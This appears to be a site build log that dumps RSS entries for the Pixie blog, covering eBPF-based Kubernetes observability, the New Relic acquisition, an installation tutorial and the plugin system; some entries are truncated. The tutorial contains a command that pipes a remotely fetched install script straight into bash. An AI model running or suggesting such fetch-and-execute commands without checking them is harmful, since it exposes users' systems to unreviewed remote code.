6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:55.98455598455598%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADQklEQVQozxXFW0yTZwCA4d/MOTVkGEhQowOdRWatIAgU5DBo6QHQSgGRAVYsUlipBcaEtYVypnIQxDLGIUI71FmcHFzciGay7AJdiIlZtiwxmct2M3ex2938yfcuXjx5pDxdgqzOjqPgtFoUlWZhs51iYf4qi6FJ7oYmGBtoYtrvYu7LYeYCQ9yc8zE166Ov346pKBlj4XESU2PEgUO72LM3TJaKij+U07M/IDn1kEjPiCNPm4CjvpTedjujg610VZsZa7Py9egVxrobaLlygR5PDVZrPkkp0RxRRZGQsF8cU+3DkKOUpfJyg6w3pJCRFS/OlRjoaHWgTYsnV/keT1fmmfE2cq29gZ/9rdgrNBTrVax+okWXo0CnUeKt1XDVeUbM91hZ/6JZlpoc52WTKQuHtUAszl1nbeUBlfpM+sq1/Lv5Ha9+fMDvz9Z4/SjA0p0bXK7UM3vJyIUyDS21RjZmmlkabRYbwU5e3O2XpVGfRzadOklgwi2ePFzFPzhMncVCoL+dX0LjbIam+ePJEj8sz/Ps8QpuhwOL+SyOi1ZGXBU8ne9gI+gVv66M8PKhX5Y6XA65tCSXb1bvi/XF2/i7OrCdr8JdmU/AU8dC+8f89ugeXY5qOmvPsrkwTKjdyrd9NmY9Vcx4L/Hq+1nx1/pN/nw8JUszUyPyaZOGnq4BsTziwWLKIys9mabqMrSJKtTvR+G2W6go1FJRkM1YXxu2cjO+vm6GrUbOpR4mOO4S/71c4/VP92QpOO2Xv7p1h8bmz0SHxYQu8wQp6WkUm0uIjdlL2M5tqGJjOLA7giqzkeB4L7cmB1mcGKI0RYUiPAyPvUqIfzb4+/l9WapvqpFH/NdoaXOLyyVGCnLVFJkycNbXoIxTsCfiXSr0mSQePYwh5yRV5nwmh7ys+JwUJh0hX3mQ0ECjePF8meVAjyw5vU750+4WPp+aFiXlRWSkq1EpopjorkOnMRC7L5xe+xmclkIMmUl8ZNIRGO0lOOTmhquGaoOa+LiD4kSiggRVtCx1Drjki85qrk9MCr0hhwZbLZGRkZRpVaQdP8oWSSIzSYkiOor9uyMI27GdHdveZvvWt3hn6xYkSXpDvHlX+E75fxc/5O+blb/tAAAAAElFTkSuQmCC');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=Infrastructure cops title=Infrastructure cops src=/static/985c28542291591bd0dbde414a33868e/e3189/the-wire.png srcSet=/static/985c28542291591bd0dbde414a33868e/a2ead/the-wire.png 259w,/static/985c28542291591bd0dbde414a33868e/6b9fd/the-wire.png 518w,/static/985c28542291591bd0dbde414a33868e/e3189/the-wire.png 1035w,/static/985c28542291591bd0dbde414a33868e/21b4d/the-wire.png 1280w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>Infrastructure cops</figcaption>\n' +

6:35:43 AM: ' </figure></p></div><p>As any DevOps detective will tell you, the key to effective crime-solving is information. Faced with the Case of the Sluggish Service, or the Mystery of the Elevated Error Rate, we don't have a lot to go on. We could try interviewing suspects (checking log files), recruiting informants (setting up distributed tracing probes), or even reconstructing the crime (load testing).</p><p>All these have their uses, but what we really want is a way to eavesdrop on who's saying what to whom; a way to listen in on conversations for potential criminal activity. A wiretap, if you will.</p><p>Suppose you could see every HTTP request going through your cluster, or every MySQL query going to your database. Suppose you could get instant, live stats on the throughput, response time, and error rate of every service you're running, including internal-only services. And suppose you had a spy-cam that showed you the resource usage of every process or container in your system. What would that do to your clearance rate?</p><p>There's a new recruit on the force who can help you do exactly that. <a href=https://docs.px.dev/about-pixie/what-is-pixie/>Pixie</a> is a software tool for monitoring and tracing in Kubernetes clusters, letting you see what's going on <em>without</em> making any code changes, or sending any customer data outside the cluster. It can reduce the time to triage issues from days to just hours.</p><div class=image-m><svg title=CLI demo src=cli-demo.svg></svg></div><p>You don't need to add instrumentation or tracing code to your services. You don't need to redeploy your services. You don't even need to <em>restart</em> your services. Just put a little Pixie in your cluster, and within a few seconds it's on the case, gathering the crime-solving information you need.</p><h2>Episode 2: The Detail</h2><blockquote><p><em>Now you wanna know what's in the cans? Before, you wanted to know nothing. Now you ask.</em><br/>\n' +

6:35:43 AM: '—Spiros</p></blockquote><p>So how does Pixie work? How can it see everything your containers are doing and sending over the wire, without you having to run a sidecar container, use a service mesh framework, or add instrumentation to your apps?</p><p>Well, there's a powerful tracing framework already built into the Linux kernel, called <a href=http://www.brendangregg.com/ebpf.html#eBPF>eBPF</a>. Originally developed to help implement packet filtering for firewalls, it turns out to be much more widely useful, because you can use it to trace any system call. And, when you think about it, practically everything involves a system call: reading files, writing data on a network connection, starting a process. You name it, eBPF can intercept it.</p><p>Pixie uses eBPF probes to intercept and record all the activity we're interested in. For example, whenever a service receives an HTTP request and sends a response, Pixie captures it. Whenever a SQL query goes to a database, and some data rows are returned, it goes into Pixie's notebook.</p><div class=image-m><p><figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:45.55984555984556%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5ElEQVQoz5WSaQrEMAhGc5DuS7oOTVro/W/m8AQHGcrA/PgwUfM0MSHlLK+cZJ5n6fte9n2XZVlkXVeZpknFumkaVVmWUtf1J4bwxRhVYRgGiWMULBrHUW3XdXoQC5Ai27ZJ27ZSVZXGsAggfnyBTVEU6vwWfoDHcWjn3IJD33kGRcGqPAkg3d73LSklhRvAy/t+AkkEknNWIHCK+I7+BvI2vB9iAOyfuvwAqfgke0O6uq5LB8Mb+mtbjp9B4KvYZBF7ZJ0QA3iepw7HT5dvRNzytUMWOKjsRTIJ/ttgfYfADWb5b1Ej+gsxBRT1AAAAAElFTkSuQmCC');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=SQL data title=SQL data src=/static/86804a8c469721167ec1415898db6856/e3189/mysql-data.png srcSet=/static/86804a8c469721167ec1415898db6856/a2ead/mysql-data.png 259w,/static/86804a8c469721167ec1415898db6856/6b9fd/mysql-data.png 518w,/static/86804a8c469721167ec1415898db6856/e3189/mysql-data.png 1035w,/static/86804a8c469721167ec1415898db6856/7830c/mysql-data.png 1345w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>SQL data</figcaption>\n' +

6:35:43 AM: ' </figure></p></div><p>The clever part is that Pixie integrates with Kubernetes, so it can work out which pods and services are connected to which requests and actions, and it records the timestamp of everything, so it can track the throughput and latency of everything that happens.</p><div class=image-m><p><figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1035px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:63.32046332046332%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACH0lEQVQ4y01S2VLjMBCUyUFsS9btI4ljTEgI7L7tp0Cx/wgFv9hbrawoHqbakma6e2Ys5tMF88MF0/0Z0/ERd8cLDvMJ8+l3+h7vHq5v8xnjdMQ4X3B/esbD46/vOJ55fsZ4/gOxqkpYayCVxEYplFKiNgbaaCglUSsJ1ShUdY1a1igWNyiKAqIQEEWB4oZxAyEEpA4Qn19f+Pj8wsf7Ox7PZzRaI8QIo01CkhvnIa2F8R7KOSi+dR2k1nAhoHEOGynR93uIv29veHl5wevrK6ZpQtd1cNZivV7De4+6qtA0DZRSV5QSm80GMUbc3t5C/79bLhawLkI0SkFKmZJDCGjbNkVVVbDWQioFYwxU03xjXdcpN+dorRO59xFinmeM44jD4YC+71Ps9/uUTAIWs4CiGemQosmh1snMYrGADy1E33fpcRiG1KJzLqmzkGcmZxfE5FrK1DKR+bwryw3aboCYpgN2u11yRUeMrMjkPA7OkMHinw55R+HVanltmUvgI1vNhWyTSyFhJqHDLEgRdsE8nklYViWc83Q4fTsk6Xa7TUh1EuUZkjhjdkjMM1wul1dCzo4uiZwLlUlIFyRUecs/sP4/Q4r93HKMHcS432M7DMllG2NKJKZfIrV3bYv/W1qQ1ijXq5STHDZNanm9WsG5ANFtd2j7AXEYoIy9BjfJmYUAbR20D9Dew1oHMx6gnp4Q+gGSM/Uh3UuKxR7/AFdCQKlYOt3QAAAAAElFTkSuQmCC');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=Service stats live view title=Service stats live view src=/static/c5a79abc676e2f06e1282c32db32bdd3/e3189/service-stats.png srcSet=/static/c5a79abc676e2f06e1282c32db32bdd3/a2ead/service-stats.png 259w,/static/c5a79abc676e2f06e1282c32db32bdd3/6b9fd/service-stats.png 518w,/static/c5a79abc676e2f06e1282c32db32bdd3/e3189/service-stats.png'... 14507 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Accelerating the Pixie community with New Relic',

6:35:43 AM: date: '2020-12-09',

6:35:43 AM: description: 'We are excited to announce that we signed a definitive agreement to join New Relic -- an outcome we certainly never predicted after only…',

6:35:43 AM: url: 'https://blog.px.dev/pixie-new-relic/',

6:35:43 AM: guid: 'https://blog.px.dev/pixie-new-relic/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>We are excited to announce that we signed a <a href=http://blog.newrelic.com/product-news/pixie-developer-first-observability>definitive agreement</a> to join New Relic -- an outcome we certainly never predicted after only just two years.</p><p>New Relic’s focus on the developer is legendary. When New Relic's Founder/CEO, Lew Cirne, first started tinkering around with Pixie and participating in our community, we noticed an alignment in our visions for the future of observability, as well as echoes of New Relic’s developer-centric roots in Pixie. Joining New Relic will provide us with an unprecedented opportunity to reach millions of developers faster by open-sourcing a self-managed version of Pixie in the upcoming months.</p><p>When we started Pixie in 2018, Kubernetes was rapidly gaining traction. We felt that a new approach to observability was needed due to the new, fundamental challenges in observing distributed, ephemeral systems. We founded Pixie in order to provide instant, flexible observability for developers like ourselves who were building applications on Kubernetes.</p><p>However, we knew that the most developer-friendly version of Pixie must be open-source. In a forward-looking move, New Relic is giving us the opportunity to open-source Pixie and focus on providing world-class observability to all developers. The developer community is a core element of New Relic’s vision, and Pixie’s open-source offering will be a key part of that initiative and the primary area of focus for the Pixie team going forward.</p><p>We are so excited to begin working with New Relic on our shared vision for the future of observability. In the coming months, we’ll be jointly committing our roadmap in the following initiatives:</p><ul><li><p><strong>Pixie Core</strong>: An open-source and self-managed version of Pixie which we will release to the CNCF sandbox early next year. As part of the process, we look forward to speaking with you about this at Kubecon-EU on May’21. Due to Pixie’s and New Relic’s commitment to open standards, we also plan to build out integrations with OpenTelemetry, Prometheus, and Grafana.</p></li><li><p><strong>Pixie By New Relic</strong>: Our current Pixie Community offering will continue as a hosted version of Pixie Core and existing New Relic One customers will soon get instant access to Pixie data with a few clicks. Their existing experiences will be augmented with the metrics, logs, events, and application traces that Pixie automatically provides.</p></li><li><p><strong>Pixie by New Relic, Enterprise Edition</strong>: Industry-specific solutions for sectors such as Media, Telecommunications, and Government that allow enterprise customers to install Pixie entirely inside production clusters while meeting compliance, data security, support, and performance requirements.</p></li></ul><p>Finally, our journey is just beginning. We are a team of 12 people with a huge vision to reach every Kubernetes developer. As we embark on this part of our journey, we encourage anyone passionate about open source, Kubernetes, and observability to apply to join us <a href=https://pixielabs.ai/careers/>here</a>.</p><p>You can try out Pixie <a href=https://work.withpixie.ai/auth/signup?UTM=PXNR>here</a>, learn more about us <a href=https://px.dev/>here</a> and ping us anytime on our Pixienaut community slack.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Getting Your Pixie On: First Steps Installing and Deploying Pixie',

6:35:43 AM: date: '2020-06-11',

6:35:43 AM: description: 'This is a guest tutorial by John Arundel, of Bitfield Consulting . Hang on tight as he takes you from zero to Pixie in a few thrill-packed…',

6:35:43 AM: url: 'https://blog.px.dev/pixie-tutorial-1/',

6:35:43 AM: guid: 'https://blog.px.dev/pixie-tutorial-1/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>This is a guest tutorial by John Arundel, of <a href=https://bitfieldconsulting.com>Bitfield Consulting</a>. Hang on tight as he takes you from zero to Pixie in a few thrill-packed minutes!</p><h2>Introduction</h2><p><a href=https://docs.px.dev/about-pixie/what-is-pixie/>Pixie</a> is a new software tool for monitoring and tracing software in Kubernetes clusters. It can generate automatic telemetry to help you live-debug your distributed system, without needing to instrument your application, or install complicated service mesh frameworks.</p><p>To learn more about how Pixie works, and why it's so valuable for SREs and infrastructure engineers, read my introductory post, <a href=../blog/pixie-intro>Put a Little Pixie in Your Cluster</a>.</p><p>In this tutorial, we'll see how to install the Pixie command-line tool, how to use it to deploy Pixie in your Kubernetes cluster, and how to start getting useful data on your requests and services.</p><h2>Pixie's components</h2><p>Pixie has three main components:</p><ol><li><p>The Pixie <em>command-line interface (CLI)</em> is your interface to Pixie, which you can use to install or update Pixie, run scripts and queries, and so on.</p></li><li><p>The Pixie <em>edge module</em> is the data-gathering software that runs on each Kubernetes node, tracking all the system calls and network traffic in and out of your services.</p></li><li><p>The Pixie <em>command module</em> is an application that runs in your Kubernetes cluster, collecting all the data reported by the edge modules and running queries received from the CLI tool.</p></li></ol><p>There's also the Pixie <em>control cloud</em>, which handles authentication, admin, and so on, but you don't need to worry about this for now, because it's hosted by Pixie Labs, and your Pixie installation knows how to talk to it automatically.</p><div class=image-l><p><img src=/89e9eba20e9182a89a53c1e5157de6ff/product-arch.svg alt=Pixie architecture diagram/></p></div><h2>Prerequisites</h2><p>Here's what you'll need in order to use Pixie. First, you'll need a machine to run the CLI tool on. At the moment, this will need to be either Linux or Mac, though support for other platforms is in the pipeline.</p><p>Second, you'll need a Kubernetes cluster to run the Pixie command module. If you don't already have one, or you don't want to use your existing cluster to try out Pixie, that's fine. Pixie will work with a local Kubernetes cluster on your machine, provided by tools like <a href=https://www.docker.com/products/docker-desktop>Docker Desktop</a>, <a href=https://kubernetes.io/docs/setup/learning-environment/minikube/>Minikube</a>, and <a href=https://kind.sigs.k8s.io/>kind</a>. Follow one of Pixie's handy <a href=https://docs.px.dev/installing-pixie/install-guides/>install guides</a> to set up a suitable cluster using the software of your choice.</p><p>Now read on!</p><h2>Installing the Pixie CLI</h2><p>The first thing we need to install is <code>px</code>, the Pixie CLI tool. Once we have <code>px</code>, we can use it to deploy the Pixie command module to the cluster and get to work.</p><p>Run this command in your Linux shell or Mac terminal:</p><pre><code class=language-bash:numbers>bash -c "$(curl -fsSL https://work.withpixie.ai/install.sh)"\n' +

6:35:43 AM: '</code></pre><p>If you want to know what the installer does before you run it, you can <a href=https://work.withpixie.ai/install.sh>inspect the script for yourself</a> and make sure you're happy with it. All it does is download the appropriate binary executable for your platform, move it to an appropriate directory, and then prompt you to authenticate with Pixie using your browser.</p><p>Let's see what that looks like:</p><pre><code class=language-bash:numbers>\n' +

6:35:43 AM: ' ___ _ _\n' +

6:35:43 AM: ' | _ \\(_)__ __(_) ___\n' +

6:35:43 AM: ' | _/| |\\ \\ /| |/ -_)\n' +

6:35:43 AM: ' |_| |_|/_\\_\\|_|\\___|\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '==> Info:\n' +

6:35:43 AM: 'Pixie gives engineers access to no-instrumentation, streaming &\n' +

6:35:43 AM: 'unsampled auto-telemetry to debug performance issues in real-time,\n' +

6:35:43 AM: 'More information at: https://www.pixielabs.ai.\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'This command will install the Pixie CLI (px) in a location selected\n' +

6:35:43 AM: 'by you, and performs authentication with Pixies cloud hosted control\n' +

6:35:43 AM: 'plane. After installation of the CLI you can easily manage Pixie\n' +

6:35:43 AM: 'installations on your K8s clusters and execute scripts to collect\n' +

6:35:43 AM: 'telemetry from your clusters using Pixie.\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'More Info:\n' +

6:35:43 AM: ' https://work.withpixie.ai/docs\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '==> Installing PX CLI:\n' +

6:35:43 AM: 'Install Path [/usr/local/bin]:\n' +

6:35:43 AM: '</code></pre><p>The default install path (<code>/usr/local/bin</code>) should be fine, unless you want to install <code>px</code> somewhere else (if so, enter the path here). Otherwise, just press Enter to continue.</p><pre><code class=language-bash:numbers>\n' +

6:35:43 AM: '==> Authenticating with Pixie Cloud:\n' +

6:35:43 AM: '[0000] INFO Pixie CLI\n' +

6:35:43 AM: 'Opening authentication URL: \\\n' +

6:35:43 AM: 'https://work.withpixie.ai:443/login?local_mode= \\\n' +

6:35:43 AM: 'true&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2Fauth_complete\n' +

6:35:43 AM: '[0000] INFO Starting browser\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '</code></pre><p>This will open your browser to <a href=https://work.withpixie.ai/>work.withpixie.ai</a>, where you'll be prompted to log in (if you have an existing Pixie account) or sign up for a new account:</p><div class=image-m><p><figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:426px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:88.03088803088802%;position:relative;bottom:0;left:0;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByUlEQVQ4y52US2/TQBSF84/4BYjfwAIk2LBnzQYkigRs2CDxWLFhhRBqparskZooApQQKQ/qABEkDaEJErQwjl/xzHzIYztNXLshHenIM+d4rs+9d8YlkqG1nj8jKKXmyK5TbnFfOkqLi6y4auS9X8qKnudhWRatVot2u02z2aTb7dJoNCiXy1SrVaNJKU93mApBENDpdKhUKtRqNQaDAf1+33xkOBxSr9eNXhgwJvTaKSsdYbnuc4fHgRafq8BpDmNBuCCmit5EsfddYo0kexl8PpD0xpLuD8nkjzrpME051DAaHdD/NuHas4CLD6dcfuwYXHrkcPWpw5UnDhfu2Zy/a3PupuD+thenr3ICKgX7vwSffgoevJ5x65XLxqbH7QR3tjw2tjxuvHANrj93efk2SOqZCagT21JhkFczs0Hn8SzVtJQ2Yc0zzckbttCUlHRdFyEEwrYRohi2bfNXCHzfL2iKjh1qrZDyGNGdlWqZW9ZXnMOzpJ17DlOyOZDsfJjR2pe864W874W0h9Jg1wqNHvH1r5I3H0O+jGVBl5OF42vGRwrhan7biqmvDWxPGy6aHzkxDqcab1aQ8ll+Xf+VcjpfB1mH/wA39m1E9kN8EAAAAABJRU5ErkJggg==');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=Login title=Login src=/static/41b2e76ed42dcea7c49e51ea27f51ef2/531e1/login.png srcSet=/static/41b2e76ed42dcea7c49e51ea27f51ef2/a2ead/login.png 259w,/static/41b2e76ed42dcea7c49e51ea27f51ef2/531e1/login.png 426w sizes=(max-width: 426px) 100vw, 426px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>Login</figcaption>\n' +

6:35:43 AM: ' </figure></p></div><p>Once you're signed in, you're ready to get your Pixie on!</p><h2>Deploying Pixie to the cluster</h2><p>First, let's make sure we're pointing at the right cluster. Although Pixie can monitor activity across all your clusters, we only need to deploy the command module to one of them. A good choice for this would be the cluster where you run your existing monitoring tools, internal information systems, and so on.</p><p>Try this command to find out what your Kubernetes config says your current cluster is:</p><pre><code class=language-bash:numbers>kubectl config current-context\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'My-Awesome-Cluster\n' +

6:35:43 AM: '</code></pre><p>If the answer isn't what you were expecting, select the right cluster by running:</p><pre><code class=language-bash:numbers>kubectl config use-context My-Awesome-Cluster\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Switched to context "My-Awesome-Cluster".\n' +

6:35:43 AM: '</code></pre><p>You're all set! Make Pixie go now:</p><pre><code class=language-bash:numbers>px deploy\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Running Cluster Checks:\n' +

6:35:43 AM: ' ✔ Kernel version > 4.14.0\n' +

6:35:43 AM: ' ✔ K8s version > 1.12.0\n' +

6:35:43 AM: ' ✔ Kubectl > 1.10.0 is present\n' +

6:35:43 AM: ' ✔ User can create namespace\n' +

6:35:43 AM: 'Installing version: 0.3.3\n' +

6:35:43 AM: 'Generating YAMLs for Pixie\n' +

6:35:43 AM: ' ✔ Generating namespace YAML\n' +

6:35:43 AM: ' ✔ Generating cert YAMLs\n' +

6:35:43 AM: ' ✔ Generating secret YAMLs\n' +

6:35:43 AM: ' ✔ Downloading Vizier YAMLs\n' +

6:35:43 AM: 'Deploying Pixie to the following cluster: My-Awesome-Cluster\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Is the cluster correct? (y/n) [y] :\n' +

6:35:43 AM: '</code></pre><p>Assuming it is, press Enter to continue:</p><pre><code class=language-bash:numbers>Found 3 nodes\n' +

6:35:43 AM: ' ✔ Creating namespace\n' +

6:35:43 AM: ' ✔ Deleting stale Pixie objects, if any\n' +

6:35:43 AM: ' ✔ Deploying certs, secrets, and configmaps\n' +

6:35:43 AM: ' ✔ Deploying NATS\n' +

6:35:43 AM: ' ✔ Deploying etcd\n' +

6:35:43 AM: ' ✔ Deploying Cloud Connector\n' +

6:35:43 AM: ' ✔ Waiting for Cloud Connector to come online\n' +

6:35:43 AM: 'Waiting for Pixie to pass healthcheck\n' +

6:35:43 AM: ' ✔ Wait for PEMs/Kelvin\n' +

6:35:43 AM: ' ✔ Wait for healthcheck\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '==> Next Steps:\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Visit : https://work.withpixie.ai to use Pixie's UI.\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Run some scripts using the px cli. For example:\n' +

6:35:43 AM: '- px script list : to show pre-installed scripts.\n' +

6:35:43 AM: '- px run px/service_stats : to run service info for sock-shop demo application (service selection coming soon!).\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'Check out our docs: https://work.withpixie.ai/docs.\n' +

6:35:43 AM: '</code></pre><p>That's it! You're Pixified and ready to roll.</p><h2>Running the demo app</h2><p>If your cluster already has some services running in it, then Pixie will be able to give you some interesting data and views on them, so continue to the next section. If n'... 8921 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Open Observability with the Pixie Plugin System',

6:35:43 AM: date: '2022-05-12',

6:35:43 AM: description: 'At Pixie, we believe that the future of observability lies in open source . With the rise of open standards, such as OpenTelemetry , it is…',

6:35:43 AM: url: 'https://blog.px.dev/plugin-system/',

6:35:43 AM: guid: 'https://blog.px.dev/plugin-system/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>At Pixie, we believe that <strong>the future of observability lies in open source</strong>.</p><p>With the rise of open standards, such as <a href=https://opentelemetry.io/>OpenTelemetry</a>, it is easier than ever to go from a fresh cluster to full observability. It's as simple as deploying standard-friendly agents and sending data to the tool(s) of your choice. Want to analyze metrics in Prometheus and explore your traces in Jaeger? That’s supported. Want to track those traces in Zipkin instead? Easy. Gone are the days of restrictive, proprietary agents designed to work with one specific tool. The interoperability of open source tooling makes it painless to adopt and switch out products that best fit a developer’s needs.</p><h2>Pixie Plugin System</h2><p>With these beliefs in mind, we built the <a href=https://github.com/pixie-io/pixie-plugin>Pixie Plugin System</a>. At its core, Pixie focuses on providing a <a href=https://docs.px.dev/about-pixie/pixie-ebpf/>no-instrumentation</a>, real-time debugging platform. However, effectively monitoring clusters and applications requires more. Developers need long-term data retention to track historical trends and perform comparisons overtime. They want alerts to notify them when something has gone wrong.</p><p>Rather than building out all of these capabilities into Pixie, we recognize there are already other excellent tools which offer these features. We took inspiration from <a href=https://grafana.com/docs/grafana/latest/plugins/>Grafana’s Plugins</a> which allows users to enhance their Grafana experience by integrating with other tools as datasources and panels. The Pixie Plugin System is designed to embrace the interoperability of open source software and leverage the strengths of other tools in the ecosystem.</p><div class=image-xl><svg title=The OpenTelemetry Pixie Plugin comes with several preset scripts. You can also add your own scripts to export custom Pixie data in the OpenTelemetry format. src=otel-plugin-scripts.png></svg></div><p>The initial version of the Pixie Plugin System aims to address Pixie’s data storage limitations. Pixie stores its collected data in-cluster for performance and security benefits. Retention time depends on the level of traffic in your cluster, but will generally be on the order of hours.</p><p>The Pixie Plugin System enables long-term retention for Pixie data by providing export to other tools. By relying on OpenTelemetry as Pixie’s export format, Pixie’s metrics and traces can be ingested by any OpenTelemetry-supported product. You can <a href=https://docs.px.dev/reference/plugins/plugin-system/#enabling-a-plugin>enable the plugin</a> for your favorite tool, and Pixie will immediately start egressing data. Each plugin provider has pre-configured a set of default scripts to export data best complemented by the tool. However, you can also <a href=https://docs.px.dev/tutorials/integrations/otel/>write custom export scripts</a> to send any Pixie data you want.</p><h2>What's Next?</h2><p>With Pixie’s Plugin System, we envision a future where Pixie’s telemetry data can be consumed anywhere. However, integrating across many tools has its drawbacks. Navigating and context-switching from tool to tool is cumbersome and inefficient. The future of Pixie’s Plugin System aspires to unite these tools in a central location. All from within the Pixie UI, developers will be able to configure alerts across products, query long-term data from different sources using Pixie’s scriptable views, and more. Pixie’s goal has always been to make gaining visibility into developers’ clusters and applications as simple as possible. By leveraging the benefits of open source and open standards, we hope to make observability more powerful, easy, and accessible for all developers.</p><h2>Get Started</h2><p>Here are some materials to get started using the Pixie Plugins:</p><ul><li>Read the <a href=https://docs.px.dev/tutorials/integrations/otel/>Export OpenTelemetry Data</a> tutorial</li><li>Check out the Plugin System <a href=https://docs.px.dev/reference/plugins/plugin-system>reference docs</a></li><li>See the list of <a href=https://github.com/pixie-io/pixie-plugin#available-plugins>available plugins</a></li><li>Learn how to <a href=https://github.com/pixie-io/pixie-plugin#contributing>contribute a plugin</a></li></ul>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Announcing Pixie’s Public Beta Launch and Series A',

6:35:43 AM: date: '2020-10-01',

6:35:43 AM: description: 'In 2018, we started Pixie to build a magical developer experience to redefine how we explore, monitor, secure, and manage our applications…',

6:35:43 AM: url: 'https://blog.px.dev/public-beta-launch/',

6:35:43 AM: guid: 'https://blog.px.dev/public-beta-launch/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

